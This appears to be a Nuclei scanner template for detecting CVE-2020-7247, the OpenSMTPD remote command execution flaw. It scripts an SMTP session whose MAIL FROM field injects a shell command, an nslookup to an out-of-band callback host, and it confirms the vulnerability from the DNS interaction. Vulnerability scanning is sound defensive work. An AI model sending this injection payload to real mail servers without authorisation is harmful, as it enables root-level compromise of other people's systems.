44 lines
1.4 KiB
YAML
44 lines
1.4 KiB
YAML
id: CVE-2020-7247
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info:
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name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution
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author: princechaddha
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severity: critical
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reference: https://www.openwall.com/lists/oss-security/2020/01/28/3
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tags: cve,cve2020,smtp,opensmtpd,network,rce,oob
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2020-7247
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cwe-id: CWE-78,CWE-755
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description: "smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation."
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network:
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- inputs:
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- read: 1024
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- data: "helo target\r\n"
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read: 1024
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- data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
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read: 1024
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- data: "RCPT TO:<root>\r\n"
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read: 1024
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- data: "DATA\r\n"
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read: 1024
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- data: "\r\nxxxx\r\n.\r\n"
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read: 1024
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- data: "QUIT\r\n"
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read: 1024
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host:
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- "{{Hostname}}"
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- "{{Hostname}}:25"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: raw
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words:
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- "Message accepted for delivery" |